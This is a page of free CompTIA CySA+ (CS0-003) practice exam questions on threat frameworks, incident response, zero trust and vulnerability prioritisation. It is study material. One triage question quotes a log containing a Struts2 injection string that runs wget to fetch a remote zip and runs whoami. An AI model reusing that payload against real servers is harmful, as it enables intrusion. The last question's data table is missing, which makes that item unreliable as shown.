Online Access Free CS0-003 Practice Test

A threat intelligence analyst is updating a document according to the MITRE ATT & CK framework. The analyst detects the following behavior from a malicious actor: "The malicious actor will attempt to achieve unauthorized access to the vulnerable system." In which of the following phases should the analyst include the detection?

• A.Subtechniques
• B.Procedures
• C.Techniques
• D.Tactics

A security analyst provides the management team with an after-action report for a security incident. Which of the following is the management team most likely to review in order to correct validated issues with the incident response processes?

• A.Root cause analysis
• B.Lessons learned
• C.Tabletop exercise
• D.Forensic analysis

An incident response team member is triaging a Linux server. The output is shown below:
$ cat /etc/passwd
root:x:0:0::/:/bin/zsh
bin:x:1:1::/:/usr/bin/nologin
daemon:x:2:2::/:/usr/bin/nologin
mail:x:8:12::/var/spool/mail:/usr/bin/nologin
http:x:33:33::/srv/http:/bin/bash
nobody:x:65534:65534:Nobody:/:/usr/bin/nologin
git:x:972:972:git daemon user:/:/usr/bin/git-shell
$ cat /var/log/httpd
at org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java:241) at org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java:208) at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:316) at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) WARN
[struts2.dispatcher.multipart.JakartaMultipartRequest] Unable to parse request container.getlnstance.(#wget
http://grohl.ve.da/tmp/brkgtr.zip;#whoami)
at org.apache.commons.fileupload.FileUploadBase$FileUploadBase$FileItemIteratorImpl. < init > (FileUploadBase.java:947) at org.apache.commons.fileupload.FileUploadBase.getItemiterator (FileUploadBase.java:334) at org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest(JakartaMultiPartRequest.
java:188) org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest (JakartaMultipartRequest.java:423) Which of the following is the adversary most likely trying to do?

• A.Send a beacon to a command-and-control server.
• B.Perform a denial-of-service attack on the web server.
• C.Create a backdoor root account named zsh.
• D.Execute commands through an unsecured service account.

The Chief Information Security Officer is directing a new program to reduce attack surface risks and threats as part of a zero trust approach. The IT security team is required to come up with priorities for the program.
Which of the following is the best priority based on common attack frameworks?

• A.Reduce the administrator and privileged access accounts
• B.Conduct thorough incident response
• C.Employ a network-based IDS
• D.Enable SSO to enterprise applications

A security manager is looking at a third-party vulnerability metric (SMITTEN) to improve upon the company
' s current method that relies on CVSSv3. Given the following:

Which of the following vulnerabilities should be prioritized?

• A.Vulnerability 2
• B.Vulnerability 1
• C.Vulnerability 4
• D.Vulnerability 3